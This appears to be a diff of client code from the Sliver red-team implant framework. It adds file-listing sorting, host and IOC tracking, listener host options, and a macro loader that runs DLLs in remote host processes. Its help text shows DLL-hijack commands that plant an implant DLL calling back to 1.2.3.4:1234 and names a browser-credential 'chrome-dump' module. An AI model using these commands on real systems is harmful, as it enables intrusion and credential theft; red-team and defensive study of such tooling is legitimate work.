+		By default, name sorting is case sensitive.  Upper case entries come before
+		lower case ones.  Instead, we will level the playing field and sort
+		regardless of case
+	*/
+	if reverseSort {
+		sort.SliceStable(ls.Files, func(i, j int) bool {
+			return strings.ToLower(ls.Files[i].Name) > strings.ToLower(ls.Files[j].Name)
+		})
+	} else {
+		sort.SliceStable(ls.Files, func(i, j int) bool {
+			return strings.ToLower(ls.Files[i].Name) < strings.ToLower(ls.Files[j].Name)
+		})
+	}
+
+	/*
+		After names are sorted properly, take care of the modified time if the
+		user wants to sort by time.  Doing this after sorting by name
+		will make the time sorted entries properly sorted by name if times are equal.
+	*/
+
+	if sortByTime {
+		if reverseSort {
+			sort.SliceStable(ls.Files, func(i, j int) bool {
+				return ls.Files[i].ModTime > ls.Files[j].ModTime
+			})
 		} else {
-			fmt.Fprintf(table, "%s\t%s\t\n", fileInfo.Name, util.ByteCountBinary(fileInfo.Size))
+			sort.SliceStable(ls.Files, func(i, j int) bool {
+				return ls.Files[i].ModTime < ls.Files[j].ModTime
+			})
+		}
+	} else if sortBySize {
+		if reverseSort {
+			sort.SliceStable(ls.Files, func(i, j int) bool {
+				return ls.Files[i].Size > ls.Files[j].Size
+			})
+		} else {
+			sort.SliceStable(ls.Files, func(i, j int) bool {
+				return ls.Files[i].Size < ls.Files[j].Size
+			})
+		}
+	}
+
+	for _, fileInfo := range ls.Files {
+		if filter != "" {
+			fileMatch, err := filepath.Match(filter, fileInfo.Name)
+
+			if err != nil {
+				/*
+					This should not happen because we checked the filter
+					before reaching out to the implant.
+				*/
+				con.PrintErrorf("%s is not a valid filter: %s\n", filter, err)
+				break
+			}
+
+			if !fileMatch {
+				continue
+			}
+		}
+
+		modTime := time.Unix(fileInfo.ModTime, 0)
+		implantLocation := time.FixedZone(ls.Timezone, int(ls.TimezoneOffset))
+		modTime = modTime.In(implantLocation)
+
+		if fileInfo.IsDir {
+			fmt.Fprintf(table, "%s\t%s\t<dir>\t%s\n", fileInfo.Mode, fileInfo.Name, modTime.Format(time.RubyDate))
+		} else {
+			fmt.Fprintf(table, "%s\t%s\t%s\t%s\n", fileInfo.Mode, fileInfo.Name, util.ByteCountBinary(fileInfo.Size), modTime.Format(time.RubyDate))
 		}
 	}
 	table.Flush()

client/command/filesystem/upload.go

@@ -41,6 +41,7 @@ func UploadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 
 	localPath := ctx.Args.String("local-path")
 	remotePath := ctx.Args.String("remote-path")
+	isIOC := ctx.Flags.Bool("ioc")
 
 	if localPath == "" {
 		con.PrintErrorf("Missing parameter, see `help upload`\n")
@@ -70,6 +71,7 @@ func UploadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		Path:    dst,
 		Data:    uploadGzip,
 		Encoder: "gzip",
+		IsIOC:   isIOC,
 	})
 	ctrl <- true
 	<-ctrl

client/command/help/help.go

@@ -50,7 +50,7 @@ func printHelp(con *console.SliverConsoleClient) {
 				continue
 			}
 		} else {
-			if key == consts.SliverHelpGroup || key == consts.SliverWinHelpGroup || key == consts.ExtensionHelpGroup {
+			if key == consts.SliverHelpGroup || key == consts.SliverWinHelpGroup || key == consts.MacroHelpGroup || key == consts.ExtensionHelpGroup {
 				continue
 			}
 		}

client/command/help/long-help.go

@@ -71,7 +71,7 @@ var (
 		consts.MigrateStr:          migrateHelp,
 		consts.SideloadStr:         sideloadHelp,
 		consts.TerminateStr:        terminateHelp,
-		consts.LoadExtensionStr:    loadExtensionHelp,
+		consts.LoadMacroStr:        loadMacrosHelp,
 		consts.PsExecStr:           psExecHelp,
 		consts.BackdoorStr:         backdoorHelp,
 		consts.SpawnDllStr:         spawnDllHelp,
@@ -88,6 +88,8 @@ var (
 		consts.WgPortFwdStr:                 wgPortFwdHelp,
 		consts.WgSocksStr:                   wgSocksHelp,
 		consts.SSHStr:                       sshHelp,
+		consts.DLLHijackStr:                 dllHijackHelp,
+		consts.GetPrivsStr:                  getPrivsHelp,
 
 		// Loot
 		consts.LootStr: lootHelp,
@@ -234,7 +236,31 @@ c2 message round trip to ensure the remote Sliver is still responding to command
 [[.Bold]]About:[[.Normal]] Kill a remote sliver process (does not delete file).`
 
 	lsHelp = `[[.Bold]]Command:[[.Normal]] ls <remote path>
-[[.Bold]]About:[[.Normal]] List remote files in current directory, or path if provided.`
+[[.Bold]]About:[[.Normal]] List remote files in current directory, or path if provided.
+
+[[.Bold]][[.Underline]]Sorting[[.Normal]]
+Directory and file listings are sorted by name in ascending order by default.  Listings can also be sorted by size (-s) and modified time (-m).  All sorts can be reversed with -r.
+
+[[.Bold]][[.Underline]]Filters[[.Normal]]
+Filters are a way to limit search results to directory and file names matching given criteria.
+
+Filters are specified after the path.  A blank path will filter on names in the current directory.  For example:
+/etc/passwd will display the listing for /etc/passwd.  "/etc/" is the path, and "passwd" is the filter.
+
+Directory and file listings can be filtered using the following patterns:
+'*': Wildcard, matches any sequence of non-path separators (slashes)
+	Example: n*.txt will match all file and directory names starting with n and ending with .txt
+
+'?': Single character wildcard, matches a single non-path separator (slashes)
+	Example: s?iver will match all file and directory names starting with s followed by any non-separator character and ending with iver.
+
+'[{range}]': Match a range of characters.  Ranges are specified with '-'. This is usually combined with other patterns. Ranges can be negated with '^'.
+	Example: [a-c] will match the characters a, b, and c.  [a-c]* will match all directory and file names that start with a, b, or c.
+		^[r-u] will match all characters except r, s, t, and u.
+
+If you need to match a special character (*, ?, '-', '[', ']', '\\'), place '\\' in front of it (example: \\?).
+On Windows, escaping is disabled. Instead, '\\' is treated as path separator.
+`
 
 	cdHelp = `[[.Bold]]Command:[[.Normal]] cd [remote path]
 [[.Bold]]About:[[.Normal]] Change working directory of the active Sliver.`
@@ -344,21 +370,21 @@ Parameters to the Linux and MacOS shared module are passed using the [[.Bold]]LD
 	screenshotHelp = `[[.Bold]]Command:[[.Normal]] screenshot
 [[.Bold]]About:[[.Normal]] Take a screenshot from the remote implant.
 `
-	loadExtensionHelp = `[[.Bold]]Command:[[.Normal]] load-extension <directory path> 
-[[.Bold]]About:[[.Normal]] Load a Sliver extension to add new commands.
-Extensions are using the [[.Bold]]sideload[[.Normal]] or [[.Bold]]spawndll[[.Normal]] commands under the hood, depending on the use case.
-For Linux and Mac OS, the [[.Bold]]sideload[[.Normal]] command will be used. On Windows, it will depend the extension file is a reflective DLL or not.
-Load an extension:
+	loadMacrosHelp = `[[.Bold]]Command:[[.Normal]] load-macro <directory path> 
+[[.Bold]]About:[[.Normal]] Load a Sliver macro to add new commands.
+Macros are using the [[.Bold]]sideload[[.Normal]] or [[.Bold]]spawndll[[.Normal]] commands under the hood, depending on the use case.
+For Linux and Mac OS, the [[.Bold]]sideload[[.Normal]] command will be used. On Windows, it will depend the macro file is a reflective DLL or not.
+Load an macro:
 	load /tmp/chrome-dump
-Sliver extensions have the following structure (example for the [[.Bold]]chrome-dump[[.Normal]] extension):
+Sliver macros have the following structure (example for the [[.Bold]]chrome-dump[[.Normal]] macro):
 chrome-dump
 ├── chrome-dump.dll
 ├── chrome-dump.so
 └── manifest.json
 It is a directory containing any number of files, with a mandatory [[.Bold]]manifest.json[[.Normal]], that has the following structure:
 {
-  "extensionName":"chrome-dump", // name of the extension, can be anything
-  "extensionCommands":[
+  "macroName":"chrome-dump", // name of the macro, can be anything
+  "macroCommands":[
     {
       "name":"chrome-dump", // name of the command available in the sliver client (no space)
       "entrypoint":"ChromeDump", // entrypoint of the shared library to execute
@@ -370,7 +396,7 @@ It is a directory containing any number of files, with a mandatory [[.Bold]]mani
 		  "os":"windows", // Target OS for the following files. Values can be "windows", "linux" or "darwin"
           "files":{
             "x64":"chrome-dump.dll",
-            "x86":"chrome-dump.x86.dll" // only x86 and x64 arch are supported, path is relative to the extension directory
+            "x86":"chrome-dump.x86.dll" // only x86 and x64 arch are supported, path is relative to the macro directory
           }
         },
         {
@@ -557,7 +583,10 @@ loot fetch
 `
 
 	reactionHelp = fmt.Sprintf(`[[.Bold]]Command:[[.Normal]] reaction
-[[.Bold]]About:[[.Normal]] Automate commands in reaction to event(s).
+[[.Bold]]About:[[.Normal]] Automate commands in reaction to event(s). The built-in
+reactions do not support variables or logic, they simply allow you to run verbatim
+commands when an event occurs. To implement complex event-based logic we recommend
+using SliverPy (Python) or sliver-script (TypeScript/JavaScript).
 
 [[.Bold]]Reactable Events:[[.Normal]]
 % 20s  Triggered when a new session is opened to a target
@@ -578,7 +607,11 @@ loot fetch
 	)
 
 	reactionSetHelp = fmt.Sprintf(`[[.Bold]]Command:[[.Normal]] reaction set
-[[.Bold]]About:[[.Normal]] Set automated commands in reaction to event(s).
+[[.Bold]]About:[[.Normal]] Set automated commands in reaction to event(s).  
+
+The built-in reactions do not support variables or logic, they simply allow you to 
+run verbatim commands when an event occurs. To implement complex event-based logic 
+we recommend using SliverPy (Python) or sliver-script (TypeScript/JavaScript).
 
 [[.Bold]]Examples:[[.Normal]]
 # The command uses interactive menus to build a reaction. Simply run:
@@ -608,6 +641,28 @@ reaction set
 [[.Bold]]Examples:[[.Normal]]
 # Remove a reaction
 reaction unset --id 1
+`
+	dllHijackHelp = `[[.Bold]]Command:[[.Normal]] dllhijack
+[[.Bold]]About:[[.Normal]] Prepare and plant a DLL on the remote system for a hijack scenario.
+The planted DLL will have its export directory modified to forward the exports to a reference DLL
+on the remote system.
+The DLL used for the hijack can either be a file on the operator's system or built from a Sliver profile,
+supplied with the --profile flag.
+
+[[.Bold]]Examples:[[.Normal]]
+# Use a local DLL for a hijack
+dllhijack --reference-path c:\\windows\\system32\\msasn1.dll --file /tmp/blah.dll c:\\users\\bob\\appdata\\slack\\app-4.18.0\\msasn1.dll
+
+# Use a Sliver generated DLL for the hijack
+new-profile --format shared --mtls 1.2.3.4:1234 --profile-name dll
+dllhijack --reference-path c:\\windows\\system32\\msasn1.dll --profile dll c:\\users\\bob\\appdata\\slack\\app-4.18.0\\msasn1.dll
+
+# Use a local DLL as the reference DLL
+dllhijack --reference-path c:\\windows\\system32\\msasn1.dll --reference-file /tmp/msasn1.dll.orig --profile dll c:\\users\\bob\\appdata\\slack\\app-4.18.0\\msasn1.dll
+`
+
+	getPrivsHelp = `[[.Bold]]Command:[[.Normal]] getprivs
+[[.Bold]]About:[[.Normal]] Get privilege information for the current process (Windows only).
 `
 )
 

client/command/hosts/README.md

@@ -0,0 +1,4 @@
+Hosts
+======
+
+Command to access and manage host information.

client/command/hosts/hosts-ioc-rm.go

@@ -0,0 +1,46 @@
+package hosts
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/desertbit/grumble"
+)
+
+// HostsIOCRmCmd - Remove a host from the database
+func HostsIOCRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	host, err := SelectHost(con)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	ioc, err := SelectHostIOC(host, con)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	_, err = con.Rpc.HostIOCRm(context.Background(), ioc)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	con.PrintInfof("Removed host from database\n")
+}

client/command/hosts/hosts-ioc.go

@@ -0,0 +1,107 @@
+package hosts
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"bytes"
+	"fmt"
+	"sort"
+	"strings"
+	"text/tabwriter"
+
+	"github.com/AlecAivazis/survey/v2"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/desertbit/grumble"
+	"github.com/jedib0t/go-pretty/v6/table"
+)
+
+// HostsIOCCmd - Remove a host from the database
+func HostsIOCCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	host, err := SelectHost(con)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	if 0 < len(host.IOCs) {
+		con.Printf("%s\n", hostIOCsTable(host, con))
+	} else {
+		con.Println()
+		con.PrintInfof("No IOCs tracked on host\n")
+	}
+}
+
+func hostIOCsTable(host *clientpb.Host, con *console.SliverConsoleClient) string {
+	tw := table.NewWriter()
+	tw.SetStyle(table.StyleBold)
+	tw.AppendHeader(table.Row{"File Path", "SHA-256"})
+	for _, ioc := range host.IOCs {
+		tw.AppendRow(table.Row{
+			ioc.Path,
+			ioc.FileHash,
+		})
+	}
+	return tw.Render()
+}
+
+func SelectHostIOC(host *clientpb.Host, con *console.SliverConsoleClient) (*clientpb.IOC, error) {
+
+	// Sort the keys because maps have a randomized order, these keys must be ordered for the selection
+	// to work properly since we rely on the index of the user's selection to find the session in the map
+	var keys []string
+	var iocMap = make(map[string]*clientpb.IOC)
+	for _, ioc := range host.IOCs {
+		keys = append(keys, ioc.ID)
+		iocMap[ioc.ID] = ioc
+	}
+	sort.Strings(keys)
+
+	outputBuf := bytes.NewBufferString("")
+	table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
+
+	// Column Headers
+	for _, key := range keys {
+		ioc := iocMap[key]
+		fmt.Fprintf(table, "%s\t%s\t\n",
+			ioc.Path,
+			ioc.FileHash,
+		)
+	}
+	table.Flush()
+
+	options := strings.Split(outputBuf.String(), "\n")
+	options = options[:len(options)-1] // Remove the last empty option
+	prompt := &survey.Select{
+		Message: "Select an IOC:",
+		Options: options,
+	}
+	selected := ""
+	survey.AskOne(prompt, &selected)
+	if selected == "" {
+		return nil, ErrNoSelection
+	}
+
+	// Go from the selected option -> index -> host
+	for index, option := range options {
+		if option == selected {
+			return iocMap[keys[index]], nil
+		}
+	}
+	return nil, ErrNoSelection
+}

client/command/hosts/hosts-rm.go

@@ -0,0 +1,41 @@
+package hosts
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/desertbit/grumble"
+)
+
+// HostsRmCmd - Remove a host from the database
+func HostsRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	host, err := SelectHost(con)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	_, err = con.Rpc.HostRm(context.Background(), host)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	con.PrintInfof("Removed host from database\n")
+}

client/command/hosts/hosts.go

@@ -0,0 +1,164 @@
+package hosts
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"bytes"
+	"context"
+	"errors"
+	"fmt"
+	"sort"
+	"strings"
+	"text/tabwriter"
+
+	"github.com/AlecAivazis/survey/v2"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/commonpb"
+	"github.com/desertbit/grumble"
+
+	"github.com/jedib0t/go-pretty/v6/table"
+)
+
+var (
+	// ErrNoHosts - No hosts in database
+	ErrNoHosts = errors.New("no hosts")
+	// ErrNoSelection - No selection made
+	ErrNoSelection = errors.New("no selection")
+)
+
+// HostsCmd - Main hosts command
+func HostsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	allHosts, err := con.Rpc.Hosts(context.Background(), &commonpb.Empty{})
+	if err != nil {
+		con.PrintErrorf("%s", err)
+		return
+	}
+	if 0 < len(allHosts.Hosts) {
+		con.Printf("%s\n", hostsTable(allHosts.Hosts, con))
+	} else {
+		con.PrintInfof("No hosts\n")
+	}
+}
+
+func hostsTable(hosts []*clientpb.Host, con *console.SliverConsoleClient) string {
+	tw := table.NewWriter()
+	tw.SetStyle(table.StyleLight)
+	tw.AppendHeader(table.Row{
+		"Hostname",
+		"Operating System",
+		"Sessions",
+		"IOCs",
+		"Extension Data",
+		"ID (Short)",
+	})
+	for _, host := range hosts {
+		var shortID string
+		if len(host.HostUUID) < 8 {
+			shortID = host.HostUUID[:len(host.HostUUID)]
+		} else {
+			shortID = host.HostUUID[:8]
+		}
+		tw.AppendRow(table.Row{
+			host.Hostname,
+			host.OSVersion,
+			hostSessionNumbers(host.HostUUID, con),
+			len(host.IOCs),
+			len(host.ExtensionData),
+			shortID,
+		})
+	}
+	return tw.Render()
+}
+
+func hostSessionNumbers(hostUUID string, con *console.SliverConsoleClient) string {
+	hostSessions := SessionsForHost(hostUUID, con)
+	if 0 == len(hostSessions) {
+		return "None"
+	}
+	sessionNumbers := []string{}
+	for _, hostSession := range hostSessions {
+		sessionNumbers = append(sessionNumbers, fmt.Sprintf("%d", hostSession.ID))
+	}
+	return strings.Join(sessionNumbers, ", ")
+}
+
+func SessionsForHost(hostUUID string, con *console.SliverConsoleClient) []*clientpb.Session {
+	sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{})
+	if err != nil {
+		return []*clientpb.Session{}
+	}
+	hostSessions := []*clientpb.Session{}
+	for _, session := range sessions.Sessions {
+		if session.UUID == hostUUID {
+			hostSessions = append(hostSessions, session)
+		}
+	}
+	return hostSessions
+}
+
+// SelectHost - Interactively select a host from the database
+func SelectHost(con *console.SliverConsoleClient) (*clientpb.Host, error) {
+	allHosts, err := con.Rpc.Hosts(context.Background(), &commonpb.Empty{})
+	if err != nil {
+		return nil, err
+	}
+	// Sort the keys because maps have a randomized order, these keys must be ordered for the selection
+	// to work properly since we rely on the index of the user's selection to find the session in the map
+	var keys []string
+	var hostMap = make(map[string]*clientpb.Host)
+	for _, host := range allHosts.Hosts {
+		keys = append(keys, host.HostUUID)
+		hostMap[host.HostUUID] = host
+	}
+	sort.Strings(keys)
+
+	outputBuf := bytes.NewBufferString("")
+	table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
+
+	// Column Headers
+	for _, key := range keys {
+		host := hostMap[key]
+		fmt.Fprintf(table, "%s\t%s\t\n",
+			host.Hostname,
+			host.OSVersion,
+		)
+	}
+	table.Flush()
+
+	options := strings.Split(outputBuf.String(), "\n")
+	options = options[:len(options)-1] // Remove the last empty option
+	prompt := &survey.Select{
+		Message: "Select a host:",
+		Options: options,
+	}
+	selected := ""
+	survey.AskOne(prompt, &selected)
+	if selected == "" {
+		return nil, ErrNoSelection
+	}
+
+	// Go from the selected option -> index -> host
+	for index, option := range options {
+		if option == selected {
+			return hostMap[keys[index]], nil
+		}
+	}
+	return nil, ErrNoSelection
+}

client/command/jobs/dns.go

@@ -37,11 +37,13 @@ func DNSListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		}
 	}
 
+	lhost := ctx.Flags.String("lhost")
 	lport := uint16(ctx.Flags.Int("lport"))
 
 	con.PrintInfof("Starting DNS listener with parent domain(s) %v ...\n", domains)
 	dns, err := con.Rpc.StartDNSListener(context.Background(), &clientpb.DNSListenerReq{
 		Domains:    domains,
+		Host:       lhost,
 		Port:       uint32(lport),
 		Canaries:   !ctx.Flags.Bool("no-canaries"),
 		Persistent: ctx.Flags.Bool("persistent"),

client/command/jobs/http.go

@@ -29,12 +29,14 @@ import (
 // HTTPListenerCmd - Start an HTTP listener
 func HTTPListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	domain := ctx.Flags.String("domain")
+	lhost := ctx.Flags.String("lhost")
 	lport := uint16(ctx.Flags.Int("lport"))
 
 	con.PrintInfof("Starting HTTP %s:%d listener ...\n", domain, lport)
 	http, err := con.Rpc.StartHTTPListener(context.Background(), &clientpb.HTTPListenerReq{
 		Domain:     domain,
 		Website:    ctx.Flags.String("website"),
+		Host:       lhost,
 		Port:       uint32(lport),
 		Secure:     false,
 		Persistent: ctx.Flags.Bool("persistent"),

client/command/jobs/https.go

@@ -31,6 +31,7 @@ import (
 func HTTPSListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	domain := ctx.Flags.String("domain")
 	website := ctx.Flags.String("website")
+	lhost := ctx.Flags.String("lhost")
 	lport := uint16(ctx.Flags.Int("lport"))
 
 	cert, key, err := getLocalCertificatePair(ctx)
@@ -44,6 +45,7 @@ func HTTPSListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	https, err := con.Rpc.StartHTTPSListener(context.Background(), &clientpb.HTTPListenerReq{
 		Domain:     domain,
 		Website:    website,
+		Host:       lhost,
 		Port:       uint32(lport),
 		Secure:     true,
 		Cert:       cert,

client/command/jobs/mtls.go

@@ -28,12 +28,12 @@ import (
 
 // MTLSListenerCmd - Start an mTLS listener
 func MTLSListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	server := ctx.Flags.String("server")
+	lhost := ctx.Flags.String("lhost")
 	lport := uint16(ctx.Flags.Int("lport"))
 
 	con.PrintInfof("Starting mTLS listener ...\n")
 	mtls, err := con.Rpc.StartMTLSListener(context.Background(), &clientpb.MTLSListenerReq{
-		Host:       server,
+		Host:       lhost,
 		Port:       uint32(lport),
 		Persistent: ctx.Flags.Bool("persistent"),
 	})

client/command/loot/loot.go

@@ -38,7 +38,7 @@ import (
 	"github.com/desertbit/grumble"
 )
 
-// ---  Loot Command ---
+// LootCmd - The loot root command
 func LootCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	filter := ctx.Flags.String("filter")
 	var allLoot *clientpb.AllLoot

client/command/macros/README.md

@@ -0,0 +1,4 @@
+Extensions
+===========
+
+Wraps external DLLs/tool in Sliver console commands.

client/command/macros/load.go

@@ -0,0 +1,335 @@
+package macros
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+	"encoding/json"
+	"fmt"
+	"io/ioutil"
+	"os"
+	"path"
+	"path/filepath"
+	"strings"
+
+	"github.com/bishopfox/sliver/client/command/help"
+	"github.com/bishopfox/sliver/client/console"
+	consts "github.com/bishopfox/sliver/client/constants"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"github.com/desertbit/grumble"
+)
+
+const (
+	defaultTimeout = 60
+
+	windowsDefaultHostProc = `c:\windows\system32\notepad.exe`
+	linuxDefaultHostProc   = "/bin/bash"
+	macosDefaultHostProc   = "/Applications/Safari.app/Contents/MacOS/SafariForWebKitDevelopment"
+)
+
+var commandMap map[string]macro
+var defaultHostProc = map[string]string{
+	"windows": windowsDefaultHostProc,
+	"linux":   windowsDefaultHostProc,
+	"darwin":  macosDefaultHostProc,
+}
+
+type binFiles struct {
+	Ext64Path string `json:"x64"`
+	Ext32Path string `json:"x86"`
+}
+
+type macroFile struct {
+	OS    string   `json:"os"`
+	Files binFiles `json:"files"`
+}
+
+type macroCommand struct {
+	Name         string      `json:"name"`
+	Entrypoint   string      `json:"entrypoint"`
+	Help         string      `json:"help"`
+	LongHelp     string      `json:"longHelp"`
+	AllowArgs    bool        `json:"allowArgs"`
+	DefaultArgs  string      `json:"defaultArgs"`
+	MacroFiles   []macroFile `json:"extFiles"`
+	IsReflective bool        `json:"isReflective"`
+	IsAssembly   bool        `json:"IsAssembly"`
+}
+
+func (ec *macroCommand) getDefaultProcess(targetOS string) (proc string, err error) {
+	proc, ok := defaultHostProc[targetOS]
+	if !ok {
+		err = fmt.Errorf("no default process for %s target, please specify one", targetOS)
+	}
+	return
+}
+
+type macro struct {
+	Name     string         `json:"macroName"`
+	Commands []macroCommand `json:"macroCommands"`
+	Path     string
+}
+
+func (e *macro) getFileForTarget(cmdName string, targetOS string, targetArch string) (filePath string, err error) {
+	for _, c := range e.Commands {
+		if cmdName == c.Name {
+			for _, ef := range c.MacroFiles {
+				if targetOS == ef.OS {
+					switch targetArch {
+					case "x86":
+						filePath = filepath.Join(e.Path, ef.Files.Ext32Path)
+					case "x64":
+						filePath = filepath.Join(e.Path, ef.Files.Ext64Path)
+					default:
+						filePath = filepath.Join(e.Path, ef.Files.Ext64Path)
+					}
+				}
+			}
+
+		}
+	}
+	if filePath == "" {
+		err = fmt.Errorf("no macro file found for %s/%s", targetOS, targetArch)
+	}
+	return
+}
+
+func (e *macro) getCommandFromName(name string) (extCmd *macroCommand, err error) {
+	for _, x := range e.Commands {
+		if x.Name == name {
+			extCmd = &x
+			return
+		}
+	}
+	err = fmt.Errorf("no macro command found for name %s", name)
+	return
+}
+
+// LoadMacroCmd - Locally load a macro into the Sliver shell.
+func LoadMacroCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+
+	dirPath := ctx.Args.String("dir-path")
+
+	// retrieve macro manifest
+	manifestPath := fmt.Sprintf("%s/%s", dirPath, "manifest.json")
+	jsonBytes, err := ioutil.ReadFile(manifestPath)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+	}
+	// parse it
+	ext := &macro{}
+	err = json.Unmarshal(jsonBytes, ext)
+	if err != nil {
+		con.PrintErrorf("Error loading macro: %v", err)
+		return
+	}
+	ext.Path = dirPath
+	// for each macro command, add a new app command
+	for _, extCmd := range ext.Commands {
+		// do not add if the command already exists
+		if cmdExists(extCmd.Name, ctx.App) {
+			con.PrintErrorf("%s command already exists\n", extCmd.Name)
+			return
+		}
+		con.PrintInfof("Adding %s command: %s\n", extCmd.Name, extCmd.Help)
+
+		// Have to use a global map here, as passing the extCmd
+		// either by value or by ref fucks things up
+		commandMap[extCmd.Name] = *ext
+		helpMsg := fmt.Sprintf("[%s] %s", ext.Name, extCmd.Help)
+		macroCmd := &grumble.Command{
+			Name:     extCmd.Name,
+			Help:     helpMsg,
+			LongHelp: help.FormatHelpTmpl(extCmd.LongHelp),
+			Run: func(extCtx *grumble.Context) error {
+				con.Println()
+				runMacroCommand(extCtx, con)
+				con.Println()
+				return nil
+			},
+			Flags: func(f *grumble.Flags) {
+				if extCmd.IsAssembly {
+					f.String("m", "method", "", "Optional method (a method is required for a .NET DLL)")
+					f.String("c", "class", "", "Optional class name (required for .NET DLL)")
+					f.String("d", "app-domain", "", "AppDomain name to create for .NET assembly. Generated randomly if not set.")
+					f.String("a", "arch", "x84", "Assembly target architecture: x86, x64, x84 (x86+x64)")
+				}
+				f.String("p", "process", "", "Path to process to host the shared object")
+				f.Bool("s", "save", false, "Save output to disk")
+				f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+			},
+			Args: func(a *grumble.Args) {
+				a.StringList("arguments", "arguments", grumble.Default([]string{}))
+			},
+			HelpGroup: consts.MacroHelpGroup,
+		}
+		con.App.AddCommand(macroCmd)
+	}
+	con.PrintInfof("%s macro has been loaded\n", ext.Name)
+}
+
+func runMacroCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	session := con.ActiveSession.GetInteractive()
+	if session == nil {
+		return
+	}
+	ext, ok := commandMap[ctx.Command.Name]
+	if !ok {
+		con.PrintErrorf("No macro command found for `%s` command\n", ctx.Command.Name)
+		return
+	}
+
+	binPath, err := ext.getFileForTarget(ctx.Command.Name, session.GetOS(), session.GetArch())
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+
+	c, err := ext.getCommandFromName(ctx.Command.Name)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+
+	args := ctx.Args.StringList("arguments")
+	var extArgs string
+	if len(c.DefaultArgs) != 0 && len(args) == 0 {
+		extArgs = c.DefaultArgs
+	} else {
+		extArgs = strings.Join(args, " ")
+	}
+	entryPoint := c.Entrypoint
+	processName := ctx.Flags.String("process")
+	if processName == "" {
+		processName, err = c.getDefaultProcess(session.GetOS())
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+	}
+	isDLL := false
